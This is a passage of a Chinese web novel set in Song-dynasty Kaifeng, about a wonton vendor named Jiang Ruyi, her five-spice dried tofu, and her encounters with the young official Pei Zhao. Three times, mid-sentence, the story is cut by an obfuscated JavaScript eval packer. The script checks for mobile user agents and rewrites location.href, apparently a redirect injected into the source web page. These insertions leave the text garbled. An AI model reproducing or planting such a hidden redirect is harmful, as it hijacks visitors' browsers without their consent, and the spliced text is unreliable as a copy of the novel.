花二娘从一旁感叹：“姜小娘子的生意着实是好。我摆了这么久的摊子，还从未见过谁家吃食，能这么受欢迎呢。就是太受欢迎了些，这两日我想吃你做的馄饨，却总排不上。” 姜如意闻言看她一眼，笑吟吟说道：“这怕什么？二娘想吃什么馅的馄饨，只管跟我说，我单独给二娘开小灶便是。” 花二娘听着姜如意打趣的话，忍不住笑起来，闷笑着摇摇头：“那倒也不必，只是嘴馋的时候，姜小娘子提前给我留一碗馄饨就是了。” 姜如意点头：“这简单。” 两人正谈笑着，花二娘突然压低了声音，神神秘秘的朝姜如意开口：“对了，你还记不记得那位裴少尹？” 姜如意见她这副神秘的模样，估摸着又有八卦，也压低了声音：“那位新来的开封府少尹？” 花二娘点点头：“可不就是吗？听闻几日前里，那位裴少尹带人巡街，有人看见了他相貌，听说是位十分俊朗的年轻郎君呢。” 姜如意瞧着花二娘八卦中，带了些扭捏的模样，意外的眨眨眼睛。 8. 裴少尹、五香豆腐干 庵堂里，姜如意正带着静宛一起做五香豆腐干。 姜如意站在灶台前面，一边指着面前的豆腐，一边细细的跟静宛讲着做五香豆腐干的诀窍：“豆腐要选硬些的，用刀切的时候，将片切厚一些。” “切好的豆腐片先用清水浸泡一下，水里面加些盐，然后再上锅蒸。这两步都是为了防止后面卤的时候，豆腐味道发酸。” “蒸好的豆腐干一定要捞出凉透了，然后再用重物压着，将豆腐压的紧密瓷实，口感才能更香更劲道。” “卤料的方子不难，里面的糖盐都可以斟酌着加减，咱们现在做，估摸着师太晚上就能吃上了。” 静宛听着姜如意的讲解，认真的点点头：“我记住了，姜姐姐，等晚上师父吃到我做的豆腐干，一定会非常高兴。” 姜如意瞧着静宛这副跃跃欲试的模样，弯起眼睛笑笑：“那是当然。你第一次做不用紧张，跟着我的步骤，若是不会我再教你。” 静宛自信十足的应了一声，在灶台前开始忙活起来。 姜如意见她做的有模有样，倒也放心，她将蒸锅加水放在灶上，等静宛处理豆腐的时候，开始调配卤料。 傍晚，当姜如意的馄饨摊开张的时候，摊子上就多了这新做的五香豆腐干。 这几日，慕名而来吃三鲜小馄饨的客人越来越多，尝过姜如意的手艺之后，不少人都成了小摊子的回头客，隔三差五便要来吃一碗馄饨解馋。 今日才刚一开张，立马有眼尖的客人，发现小摊子上了新吃食。 那吃食瞧上去四四方方一块，形状略扁些，颜色呈深棕色，想来应该是豆腐做成的。 当下，便有熟客上前询问：“姜小娘子，那瓷盆里盛的可是豆腐？” 姜如意正往锅里下着三鲜馄饨，听那熟客这样问，笑眯眯的抬起头来称赞道：“客人好眼力，这是今日新上的五香豆腐干，用豆腐切片压实，然后加各种调料卤出来的，口感劲道不说，而且滋味极好，营养也丰富，客人要不要尝尝？” 本朝因着贸易和水运的发展，不少调料都进入了日常饮食生活中，汴京城中，就有许多专门卖调料的铺子。 那客人听说是用调料卤的，十分好奇的点头：“那就来两块尝尝。” 姜如意应了一声好，用早已准备好的白瓷碟子，盛了两块五香豆腐干，并煮好的馄饨一起端到客人面前。 “三鲜小馄饨和五香豆腐干，客人请慢用。” 等姜如意转身离去，那客人先拿起勺子，喝了一口热乎乎的馄饨汤，品尝着那鲜美的滋味，舒服的松出一口气，然后就好奇的朝那碟子中看去。 只见小小一只白瓷碟子里，叠放着两块豆腐干，这豆腐干，不知是事先晾过还是熏过的，色泽浓郁不说，而且质地十分紧实，上面还挂着层深棕色的酱汁，看起来就很有食欲。 客人用筷子夹起来吃了一口，紧接着就被这豆腐干的味道所俘获。 白日里卤过的料汁，此时全都渗进了豆腐干里，咸鲜的滋味同豆腐本身的鲜美融合在一起，吃起来又香又劲道不说，还越嚼越过瘾。 那客人大声称赞一句好吃，然后就埋头大口大口的吃起来。 随后来的客人们也瞧见了这五香豆腐干，都争着要上一小碟尝尝。 什么？以前没吃过？ 那不要紧，姜小娘子做出来的吃食，肯定好吃就是了。现在不买，待会儿又要被人抢光了。 有经验的客人抢先一步要了好几块，等坐到凳子上，迫不及待的放入口中。嗯，姜小娘子做的吃食，怎么就又新奇又好吃呢？ 好在经过这几日出摊，姜如意很有经验，提前准备了一大盆五香豆腐干。今日来吃馄饨的客人不仅人人吃上，而且走的时候，还有机灵的买走了不少。 那客人临走前还乐呵呵地开口：“姜小娘子这豆腐干做的又香又有嚼劲，正好买回去下酒喝。” 也有人说道：“明早的朝食就吃这五香豆腐干了，配上胡饼，滋味一定不错。” 姜如意笑眯眯的看着眼前客人们，还不忘细心的提醒：“这天气里，豆腐容易坏。这五香豆腐干虽说是卤过又晾过的，客人们也要赶紧吃了才好，免得时间久了容易变质。” 那几位客人闻言，连连点头，赞姜小娘子真是细心周到。 等这一波吃馄饨的客人离开，馄饨馅和豆腐干几乎都见了底。 夜市上来往的行人渐渐变少，来摊子上吃饭的人数寥寥，姜如意却也乐的自在，坐在凳子上悠闲的看前方街景。 四周夜幕重重，周围的人声渐渐减弱，隔着帘子，四下仿佛都静谧下来。 车厢里，裴昭后背靠在软垫上，揉一揉发紧的眉心。 今日官家召见府尹大人，他从旁随侍，末了又留他在宫中，陪着说了些闲话。 马上要到端午，城中的巡视不可松懈，他也如实禀了底下人值守疲累，暂且歇几日，官家也允了。 等这些话说完，外头天色已经鸦黑，官家原本打算赐饭，他却不好在宫内久待，向官家告罪离开。却不想侍从忖度着绕了段路，恰好经过州桥夜市，在路边停了下来。 裴昭掀开帘子，想吩咐不必在外头吃了，直接回府便可。一抬头，却正好看见不远处那馄饨摊上，一脸悠闲自得的女摊主。 因着天色晚了，她摊子前头挂着两盏小灯，明晃晃的照着摊子上的吃食。左边摆着一口冒着热气的大锅，当中瓷盆里放着馅和几叠馄饨皮，右边还有一只大瓷盆。 摊子上还有零星几个没吃完的客人，正边说笑边吃东西。 她也不着急，只笑眯眯的单手撑着下巴，瞧着前面的街道出神。 “阿郎方才想说什么？”侍从见裴昭不说话，纳闷的追问一句。 裴昭摇摇头：“没什么，就前边那馄饨摊吧，你也一起过来吃些。” 侍从应了一声，抬头闻见那馄饨摊上传来的香气，不由自主的搓搓手，随裴昭一起朝那摊子上走去。 馄饨摊上，姜如意正在出神，就感觉前面站了个人。 她连忙将视线收回来，笑眯眯的抬起头来问道：“客人、两位客人要吃馄饨吗？还有今日新卤的五香豆腐干，要不要一起尝尝？” 姜如意说着，看清楚来的客人，忍不住“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182033|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咦”了一声。 面前这位郎君瞧着眼熟。 似乎是，几日前在大相国寺外，不爱吃薄脆胡饼的那一位？ 姜如意这么想着，又好奇的朝他身后看了一眼。今日陪着的却不是那位好脾气的中年郎君，而是个年轻侍从。看这模样，估计是刚刚下值。 姜如意十分同情的将目光收了回来。 裴昭看一眼姜如意，淡淡开口：“要两碗馄饨，再来两块五香豆腐干吧。” 姜如意应了一声，又问：“客人馄饨是要大碗的还是小碗的？大碗的十六文，小碗的十二文。” 裴昭：“大碗。” 姜如意低头看一眼瓷盆里的馄饨馅，估摸着还够包两大碗的，她笑眯眯的一点头：“没问题，请客人先入座，馄饨一会儿就煮好。” 裴昭点头说了句谢，先付了银钱，然后找了个前后左右都无人的位置，坐了下下。 见侍从恭敬的从一旁站着，他摆摆手：“无妨，你也坐。” 侍从应了一声，连忙从一旁坐下。 等了不多时候，姜如意端着馄饨和盛豆腐干的碟子走过来。见两人一起坐着，忍不住从心里夸奖。 这位郎君性子冷是冷了点，对手下人还是很好的，馄饨也都要的大碗的。不过选的这位置就…… 姜如意下意识的扭头看了一圈，旁边明明有更宽敞的地方，这位却偏偏选了前后左右都没人坐的，莫非有点社恐？ 姜如意心里面随意想着，面上却不显，她将两碗馄饨和两碟豆腐干依次放下，弯起眼睛笑笑：“两位客人慢用。” 然后就转身离开，开始收拾摊子上吃完的碗和碟子。 裴昭低下头，看一眼这碗馄饨。 只见这碗里的馄饨个头不是很大，内里的馅却填的很足，一个个元宝形状，盛在白瓷碗里，看起来就精致漂亮。 碗中又有黄色的蛋皮，深色的紫菜，还有米色的虾皮，热腾腾的盛在一起，还未吃，就先觉得胃里熨帖。 裴昭舀起一个馄饨慢慢嚼着，待咽下去之后，又喝一口热汤。 不知为何，今日烦躁了一日的心绪，竟然渐渐平静下来。他夹起一块五香豆腐干，慢慢吃了一口，唇角弯起一个弧。 姜如意收拾完碗碟，见豆腐干还剩了两块，干脆拿小碟子盛了，送给摊子上那唯一一桌客人。 迎上对方询问的目光，姜如意笑着说道：“本摊赠送的，不额外收钱。” 裴昭看着姜如意这双弯起来的笑眼，脑海里又浮现出当日在大相国寺外，她那双明媚里带着幸灾乐祸的眼神。 他挑一下眉：“多谢。不知女郎可否提供外卖，改日，能否做些馄饨送去开封府？” 姜如意看着这位年轻俊朗的郎君，拿碟子的手一顿，心头跳了一下，笑容变得有些难看：“请问这位客人……贵姓？” 裴昭看着她突变的脸色，声音里似乎带上些许笑意：“姓裴。” 姜如意声音艰难的自牙缝中挤出来：“裴、少尹？” 见裴昭点点头，姜如意眼前顿时一黑，想起自己在大相国寺外说的那番话，心想完了。 9. 开封衙门、豆芽 馄饨摊上，裴昭慢条斯理的吃完馄饨，又将赠送的那碟五香豆腐干吃完，这才不紧不慢的从座位上起身，带着侍从离开。 姜如意等他走远了，才松出一口气，揉了揉自己僵硬的脸颊。 想起自己那日说的话，她无声抿抿嘴。 …… 接下来几日，天气逐渐变得暖和起来。 经过这段时间的经营，小摊子有了固定的客源，其中还包括不少回头客，所以姜如意打算研究些新吃食，首先想到的就是凉皮。 等后面天气热起来，在炎炎夏日里吃上一碗清新爽口的凉皮，上面浇上一勺芝麻酱和蒜水，绝对是再舒适不过的享受。 自那日，那位裴少尹离开之后，这段时间再也没有出现过。 依姜如意想着，对方一个六品官员，只是在当值巡视的时候，听了几句闲话而已，总不至于跟自己一个小摊主过不去吧。 念及此，姜如意也不再胡思乱想，每日在夜市上摆摊之余，开始好好琢磨自己这凉皮计划。 虽然如此，姜如意研究凉皮的过程，却不怎么顺利。 做凉皮要经过水洗揉出面筋，再把滤出的粉浆，上锅蒸制成皮子。 但是具体要加多少水，蒸多长时间，皮子厚了薄了都不行，前者会影响口感，后者又容易破，是以操作起来十分难把握。 姜如意在厨房里忙活了一上午，只揉出来一小块面筋和几张不成型的皮子，除此以外，没忙活出什么头绪来。 她看着眼前一片狼藉的灶台，叹了口气，将灶上那口平锅冲洗干净。 小厨房外，静宛听着里面传来的声响，好奇的探头进来看看：“姜姐姐，你在做什么？可是什么新吃食？” 这段时间，跟着姜如意吃饭，静宛已经总结出了规律。但凡姜姐姐一上午都泡在厨房里面，端出来的吃食，一定格外的好吃。 姜如意看着静宛那期待的眼神，有些无奈的笑笑，又点点头：“是新吃食没错，不过做法上还有些问题，今日怕是吃不上了。” 静宛好脾气的说道：“吃不上也不要紧。姜姐姐这么厉害，多琢磨几日，一定能研究成功。” 姜如意原本有些泄气，听静宛这么说，倒是又有信心起来。 阿宛说的对，一日研究不出来怕什么？左右平日里无事，她慢慢研究面和水的配比，总能做出又劲道又爽口凉皮。 想想那滋味劲爽的凉皮，姜如意又忍不住给静宛形容：“这凉皮是将面揉出来的粉浆，上锅蒸制出来的，蒸好的皮子薄透又有韧劲。” “吃的时候拿刀切成条状，里面加上些胡瓜丝和豆芽，还有大块的面筋。跟料汁、蒜水，芝麻酱一拌。” “若是能吃辣，再浇上勺辣子，一筷子夹起来吃下去，那酸辣又爽口的滋味……啧啧。” 静宛听着姜如意的形容，忍不住擦擦口水。 她期待的点点头：“那姜姐姐你好好研究这凉皮，等做出来之后，我要第一个吃到。” 姜如意十分痛快的点头：“没问题。” 静宛想了想，又好奇的问：“姜姐姐，你刚刚说的那豆芽是什么，好吃吗？” 姜如意愣了一下，看着静宛好奇的目光，意外的眨眨眼睛。 现如今，莫非还没有出现豆芽？ 下午时分，姜如意在准备馄饨馅的时候，就在琢磨着豆芽的问题。 本朝各种粮食蔬果丰富，黄豆绿豆更是平常容易买到的。若是能自己发豆芽，然后用来炒菜凉拌，绝对十分受欢迎。 她以前就很喜欢吃豆芽，价格便宜不说，做法上也简单多样，无论炒、凉拌还是佐汤，每一种都口感脆爽，非常好吃。 姜如意一边琢磨着，一边不紧不慢的来到州桥夜市上。 这个时间，还不到掌灯的时候，街道上也还没开始热闹。 姜如意慢悠悠的将包馄饨的食材摆好，布幌子挂起来，干净的白瓷碗倒扣着摆成一摞，然后开始生火。 正忙活着，就见不远处走过来一名眼熟的侍从，在摊子前面停下。 “请问今日可有三鲜馄饨卖？” 姜如意闻言抬起头来，看着这位有些眼熟的客人，朝他笑笑：“有是有，不过客人是要现在吃吗？” 她指指边上那炉灶：“这火烧起来还需要些时间，不如客人先吃两块五香豆腐干或者薄脆胡饼，垫补一下肚子？” 姜如意一边说着，一纳闷的抬头看一眼天色。 这会儿天色还亮着，也未到用晡食的时辰，这位客人这个点来吃馄饨，是不是有点太早了？ 那侍从却摇摇头，开口：“不是要现在吃，是少尹差我来问问，姜小娘子可否煮几碗馄饨，待会儿送去开封府衙门？” 姜如意听他提起少尹，又说要送去开封府衙门，惊讶的抬起脸来。 怪不得她方才觉得这位客人眼熟，眼前这位，正是那日随裴少尹来吃馄饨的侍从。 姜如意想起当时那位裴少尹问起，能否做些馄饨送去开封府，她还以为他是在说笑，谁成想真派人来买？ 侍从看到姜如意惊讶的表情，耐心的解释道：“今日衙门里下值晚，仓促之间备不齐食材，裴少尹想到姜小娘子这里卖的三鲜馄饨极好，所以差我来问问。” 这番话说的诚恳，而且又夸了姜如意的手艺好，听着就让人心里舒服，跟那位冷冰冰的裴少尹半点都不一样。 姜如意看着这侍从诚恳的表情，心中倒是一动。 自己这具身体的父亲，曾经在开封府里任职，她早些年在慈幼局的时候，听说还受过父亲同僚的照拂，若是有机会去一趟也好。 就是不知道这么多年过去了，照拂她的人是谁，还在不在。 姜如意略一思索，就点点头：“送倒是能送，不过这馄饨适合现包现吃。虽说能提前包好煮熟了带回去，但若是路上时间长了，口感怕是就不好了，不知衙门中可有能煮馄饨的地方？” 那侍从立刻点头：“有的。” 他也知道这馄饨泡久了不好吃，连忙对姜如意说道：“劳烦姜小娘子，随我去衙门一趟。” 姜如意笑笑：“没问题。” 她先将炉灶里的火熄了，又请花二娘帮自己看一会儿摊子，说约莫一个时辰就能回来。 花二娘好奇的看了那侍从一眼，有些八卦的朝姜如意看看。 姜如意被她这眼神逗笑了，扳起脸来，冲她摇摇头，花二娘这才将目光收回去，一脸惋惜的模样。 姜如意将需要用到的食材都带上，然后跟着侍从上了马车，朝开封府衙门方向行去。 今日的开封府衙门里，衙役们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182034|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚一换值回来，就闻到一股扑鼻的香气自公厨中传来。 不仅如此，里面还不时响起一阵阵说话声，听起来相当热闹。 刚下值回来的衙役们对视一眼，满心好奇的朝那边望望，心想莫非今日有什么好吃的？ 念及此，一个个都迫不及待的朝公厨中走去。 一进门，几人立刻就被桌上那碗里的吃食，吸引了注意力。 只见白瓷碗里面，飘着十几只粉白色的小馄饨，黄色紫色米色的配菜点缀其间，一股鲜香味扑面而来。 今日公厨里吃饭的人比平日还多，人人面前摆着一碗馄饨，都在闷头大吃。 那名刚进门的衙役好奇问道：“咦，今日竟然换了吃食？这是馄饨吧？” 他身边的同伴反应极快，兴奋的搓搓双手，飞快的坐在同僚旁边，凑近了闻闻。 嗯，这馄饨不但远看好看，凑近了闻更香，若是吃上一口，想必滋味也…… 瞧着同伴的口水都快掉进碗里了，那吃馄饨的衙役赶紧抱着碗，谨慎的朝旁边挪了挪，一脸警惕的看着同伴。 开玩笑，这么香的馄饨，他还没吃几口呢，怎么能分给别人。 想吃？自己上前面排队去。 那衙役顺着同伴指的方向看过去，这才发现，今日的厨子也换了人。 灶台前面，一名娇娇俏俏的小娘子正一手拿着个小竹板，一手拿着馄饨皮子，手法熟练的包着馄饨。 那馄饨也不知是怎么包的，就见两只手一翻一捏，一只胖乎乎的元宝馄饨就包好了。 再看看那小娘子的模样，咦，瞧着怎么像是在州桥夜市上，摆摊的姜小娘子？ 排队的队伍里面，张易明显也认出了姜如意。 他一边闻着那馄饨的香味，一边吸了吸口水问道：“姜小娘子，这锅馄饨还有多长时间熟？” 姜如意瞧着众人伸长了脖子，翘首企盼的模样，笑着回答道：“马上就煮好，请各位郎君稍等一会儿。” 平日里脾气火爆的衙役们，这会儿听了姜小娘子的话，却都十分听话的点点头，而且还很有秩序的排着队。 当裴昭经过门口，看到的就是这样一番场景。 王属官跟在一旁，见众人这副模样，满脸惊讶的揉揉鼻子，怪了，莫非这位小娘子有什么魔力不成？今日不仅人人都来吃饭，而且还乖乖排队？ 不过话说回来，里面这馄饨味道真香。相比起来，平日里公厨做的饭，简直就是猪食。 王属官这么想着，伸手抹了抹眼角。 队伍里面，等自己那碗馄饨出锅，一个个平时五大三粗的衙役，皆双手小心翼翼的端着馄饨碗，到了桌边坐下，舀起馄饨来咬了一口。 嗯……馄饨皮柔软光滑，内馅丰腴浓郁，汤汁滋味鲜美，就是这个味。 没想到能在公厨吃上姜小娘子做的馄饨，实在是太幸福了。 张易满足的喝了一口馄饨汤，舒服的呼出一口气。然后就和其他人一样，闷头大口大口的吃起来。 姜如意将这一锅馄饨煮完，眼前排队的人终于散去了。她看一眼时辰，估计今晚的摊子是摆不成了。 不过，看着眼前众人吃的正香，姜如意又很有成就感的弯起眼睛笑笑。 一抬头，就发现那位裴少尹走到了跟前。 10. 传言、葱油拌面 姜如意嘴角的笑容收了收，开口问道：“裴少尹要吃馄饨吗？不巧上一锅没有了，恐怕要等上一会儿。” 裴昭看一眼姜如意冷下来的脸，稍挑一下眉，摇摇头：“等等倒是无妨。” 姜如意抿一下嘴角，低下头去，拿起馄饨皮开始包馄饨。 身后，王属官看了一眼低头包馄饨的小娘子，又看一眼前面的裴少尹，揉揉鼻子。想说些什么，终究忍住了没说，一起老老实实的等待起馄饨来。 等将这顿晡食做完，外面天色已经黑了，姜如意收拾东西离开的时候，终于有机会看一眼这开封府衙门。 周围暮色四合，院子各处挂上了灯笼，衙门里灯火通明。四周屋舍肃穆庄严，各处院墙皆有衙役值守，弥漫着一股肃杀之气。 姜如意将视线从右侧一处院落收回来，心道怪不得这位裴少尹成日冷着脸，原来跟这开封衙门的气氛如出一辙。 又从心里面想着，可惜今日没有寻见原身父亲的同僚。算算年岁，对方至少已经是不惑之年。而今日来公厨里吃饭的，都是年轻的衙役们。 想到年轻，姜如意又下意识的看一眼在前面带路的裴少尹。 心想这位裴少尹年纪轻轻，却有本事压得住一干衙役。嗯，果然这个人从里到外都是冷的。 就这么随意从心里面想着，又走了片刻，前面带路的裴昭停了下来。 他回头看一眼满脸感慨的姜如意，略微拧一下眉头，到底耐心的等在大门处，没有出言催促。 姜如意看够了这衙门两侧的景色，才从门口站住。 她迎上裴昭的视线，礼貌朝他笑笑：“多谢裴少尹带路，回去的路我识得，裴少尹请回。” “女郎请稍等。” 裴昭淡淡的开口叫住她。 见姜如意很疑惑的抬头看向自己，他抿抿嘴，朝门口的衙役挥挥手，片刻之后，就见一辆马车停在门外。 姜如意很是意外的看了裴昭一眼，没想到出来送一趟外卖，末了还有马车送回去。 不过这样也好，就不用自己走回去了，从这里到州桥夜市，还有一段距离呢。 姜如意这样想着，脸上的笑容就自然了些。 就听对面裴昭开口：“今日有劳女郎，车夫会送女郎回去。” 他说着，朝她略一颔首，从身上拿出一袋银钱递过来：“这是今日的报酬，观这时辰，怕是来不及摆摊了，还请女郎收下。” 姜如意接过那袋银钱，入手沉甸甸的，双眼就是一亮。 她看着这位冷冰冰的裴少尹，总算露出个诚心实意的笑容来：“那我就不客气了，多谢裴少尹，裴少尹请回。” 姜如意说完这句话，脚步轻快的上了马车，舒舒服服的坐在车厢里，朝州桥夜市行去。 裴昭站在门外，看着那辆马车消失在夜色中，转身进了衙门。衣袖上似乎还残留着一丝馄饨淡淡的咸香味，他轻拂了一下袖口。 …… 清晨，小厨房里传来一阵哒哒哒的切菜声。 姜如意将手里几棵新鲜小葱切段，葱白和葱叶分开，然后开始切蒜。 这小葱是今早上，在院子里面刚摘的，上头还带着水汽，葱叶绿油油的，看着就十分新鲜。 这段时间，姜如意赚了不少银钱，顺带着也有了些空闲。 想着索性无事，她就在这跨院的院墙下面，开辟了一小块地方，充当小菜园子。这小葱，就是她在菜园子里收获的第一批成果。 这样新鲜的小葱，最适合做葱油拌面。 姜如意将手里的蒜也切好之后，在锅中倒入油，等油烧热起来，她把葱白倒进锅中开始炸。 炸葱油没有什么技术，只需要将火调小些，别炸糊了发苦。 锅里传来一阵阵“滋啦”声响，那葱白渐渐由白变成黑色，等将葱白炸好捞出来，再炸葱叶和蒜瓣。 渐渐的，一股浓郁的葱香自厨房里飘了出来。 等葱油放凉的时候，姜如意开始煮面。 在本朝，面被称作镈饦或者汤饼，样式也是各种各样，有将面擀成薄片形状泡汤的，也有抻成又细又圆形状煮了拌的，除此之外，还有夏天吃的冷淘，加了菜浇头的齑淘，各种各样皆有。 姜如意想着反正是自己吃，喜欢口感更劲道一些的，所以做的是圆粗面。 房间里，阳光透过窗户照进来，窗台边上，摆着绿油油的栀子花和兰草，皆照料的十分不错。 姜如意挨着窗边坐了，将煮好的面里浇上料汁，再浇两勺葱油，和炸好的葱段一拌，吃着这一口葱油拌面，配上碟五香豆腐干，姜如意悠闲的眯起眼睛。 觉得自己如今这太平小日子，过的实在是不错。 等慢悠悠的将朝食吃完，又打理了一下墙角那片小菜苗，拔掉又长出来的野草，靠在榻上睡了一会儿。 看天色不早了，姜如意才不紧不慢的朝州桥夜市走去。 …… 馄饨摊前，已经三三两两的坐了些客人。 什么，姜小娘子的摊子还没开张？ 那不要紧，反正他们今日有闲暇，早来占个座位，待会儿肯定能吃上第一锅馄饨。 想着姜小娘子做的那鲜香可口的三鲜小馄饨，食客们开始迫不及待的朝路上张望。见姜小娘子还没来，他们收回了目光，开始闲聊起八卦来。 自那日从开封府衙门回来，不知怎么得，裴少尹某夜来州桥夜市上吃馄饨的事情，就被传扬了出去，而且越传越远。 连续几天，姜如意都能听见有人来摊子上，好奇的打听。 “听说开封府少尹曾来摊子上吃馄饨，姜小娘子，可是真有其事？” “不知那位裴少尹长什么模样？姜小娘子你给我们说说。” “啧啧，竟然连开封少尹都来这里吃馄饨，可见姜小娘子做的三鲜馄饨当真香。” 姜如意听着客人们的夸奖，十分谦虚的眯起眼睛笑笑：“客人谬赞了。” 又问：“客人要不要来一碗馄饨？食材都是当日新来的，现包现煮，滋味鲜香无比。” 那些来打听的客人听说，又闻闻满摊子上的馄饨香，连连点头，都说要大碗的。 所以连着好几日，姜如意的生意比从前还火爆。而且姜如意还发现，这些新来的客人里面，还有不少小娘子。 这些小娘子们带着婢女，一个个问清了是不是裴少尹来过的摊子。 得到肯定的答案之后，都点上一份小碗馄饨，一边吃着，一边好奇的朝街道上张望。 姜如意看着那些娇花似的小娘子，也忍不住跟着她们朝街上望望。可惜远处杨柳依依，连半个人影都没有。 不过，依姜如意想着，照那位裴少尹的清冷性格，若是看到摊上这么多吃馄饨的小娘子，多半要飞快的转头离开。 姜如意想着想着，先被自己这想法给逗笑了，闷笑着低下头去继续煮馄饨。 闲暇时候，连花二娘提起来，都一脸的惋惜：“那日怎么偏偏我就收摊回去了呢？” 姜如意听了，也只能安慰。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15182035|165323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今日，姜如意来到摊子前面，恰好又听见这些八卦的议论声。她已经习惯了最近这八卦话题，只含糊着应了两句，就点炉灶生火。 客人们一见到姜小娘子开始做馄饨，纷纷停下了议论声。 八卦虽好，可不能耽误吃饭不是？万一姜小娘子听八卦的时候晃个神，将馄饨煮破了怎么办？ 这些食客们很能分清轻重，一个个或点了碟五香豆腐干，或拿着个薄脆胡饼啃着，耐心等待姜如意煮的馄饨出锅。 等天色再暗些的时候，一个身穿一身劲装，英姿飒爽的小娘子，出现在了馄饨摊前。在她身后，还跟着个侍卫模样的英俊郎君。 见到这陌生的组合，姜如意不免多看了两眼。 只见那小娘子好奇的看一眼摊子上挂着的布幌子，又看看周围吃馄饨的食客，再朝热腾腾的汤锅里看看。 姜如意见状，露出个笑容问道：“女郎是要吃馄饨吗？” 这飒爽的小娘子说话也直爽，她从锅上抬起头来，朝姜如意问道：“这就是开封府少尹吃过的馄饨摊？” 姜如意听到这女郎的话，忍不住笑了起来。这么多天以来，还从没见过问的这么直接的。 之前那些小娘子们是怎么问的来着？ “请问、请问可有一位姓裴的郎君，在摊主这里吃过馄饨？” 姜如意想到那几位说话扭捏的小娘子，再看看面前这位，从心里面赞了一声。 她点点头：“是啊，女郎要大碗还是小碗？” 这飒爽的小娘子见姜如意笑了，也冲她笑笑，伸出一根手指来，先指指自己，又指指身后那英俊的侍卫。 “要一碗大的一碗小的，小的给我，大的给他。” 那侍卫脸上似乎带着一丝无奈，小声的开口劝：“咱们才刚进城，还是先回家去为好。” 这飒爽小娘子不在乎的摇头：“这个时间，伯父肯定还没下值呢。咱们在这里吃完馄饨，直接去找伯父。” “再说了，一进城就听说了裴少尹来过的摊子，你就不好奇想尝尝？” 那侍卫见拗不过她，只好点点头，看了一眼正竖起耳朵听八卦的姜如意。他找了张无人的桌子，拉开凳子，那飒爽的小娘子先乐呵呵的坐了下去。 姜如意手上拿着馄饨皮，眨眨眼睛。 …… 半个时辰之后，两匹骏马自街道上疾驰而过，停在开封府衙门外。 门口的衙役刚想要阻拦，那飒爽的小娘子已经利落的翻身下马，她将马鞭往衙役手里一扔，朝里面走去。 房间中，开封府尹听见外面的动静，做了个暂停的手势，裴昭见状，将手上的公文放下，和府尹一起看向门外。 唐锦推门进来，笑眯眯的说道：“大伯，我回来了。” 开封府尹揪一下花白的胡子，故意沉下脸来训斥：“这么冒冒失失闯进来，像什么样子？” 唐锦不在意的笑笑：“怕什么？这不是只有大伯和裴少尹在吗。” 开封府尹闻言，看着这从小养大的侄女，神情半是无奈半是宠溺的：“吃过饭了吗？” 一提起这件事，唐锦就兴奋的点点头：“吃过了，而且还是在裴少尹去过的那小摊子上吃的。” 裴昭闻言，稍稍皱起了眉头。 这还没完，只见唐锦扭过头来，幸灾乐祸的说道：“我吃馄饨的时候，还看到摊子上，有好几位眼熟的小娘子呢。” 她略一思索，又开口：“不过依我看，都不如那位煮馄饨的女摊主漂亮。” 11. 帮忙解围、紫苏饮子 随着端午节的临近，气温开始越来越热起来。 穿着长袖的郎君和女郎们，都换上了轻薄的衫子，尤其是年轻的小娘子们，走在街市上，盈盈袅袅的，仿若一道靓丽的风景。 这几日，姜如意明显感觉来馄饨摊上吃饭的小娘子们，打扮越发精致了。 不但头上梳了新鲜的发式，身上也换上颜色娇嫩的衫裙，或湖蓝或嫩绿或浅粉色，头上和脖子上，都戴了成套的花钿项链和耳环。 姜如意看着这些打扮娇俏的小娘子，再低头看一眼自己穿的窄袖圆领袍子，轻抿了一下嘴。 罢了，如今还是先赚钱要紧。 姜如意将视线收回来，一手端着一碗小馄饨，走到一张桌子前，稳稳的把碗放在那两名客人面前。 她笑着说了句“两位女郎慢用”，才刚转身要走，就被其中一位穿粉色衫裙的小娘子张口叫住。 姜如意纳闷的停住脚步，转头朝她看过去。 “请问客人有什么事吗？” 那叫住姜如意的小娘子，这几日几乎天天都来。 她头上戴了粉色海棠花的花钿，耳环和项链也是同样的海棠花款式，衬的那张芙蓉面十分娇艳。 只见她看了同伴一眼，然后又低下头去，半晌才十分扭捏的开口：“请问摊主，这段时日里，那位裴郎君可曾再来过？” 姜如意看着这两位小娘子，扭捏中带着期待的表情，突然间恍然。 怪不得这几日，来吃馄饨的小娘子们越来越多呢，原来是为了偶遇那位裴少尹。看这架势，颇有几分守株待兔的意思。 姜如意想到自己这比喻，那位冷冰冰的裴少尹被比喻成“兔”，忍不住从心里闷笑起来。 她面上却不显，只神情自若的摇摇头：“却不曾来过。” 那问话的小娘子和她同伴听了，很是失望的低下头去。 姜如意见她不再问，无辜的揉揉鼻子离开。片刻之后，又端了两杯紫苏饮子走了过来。 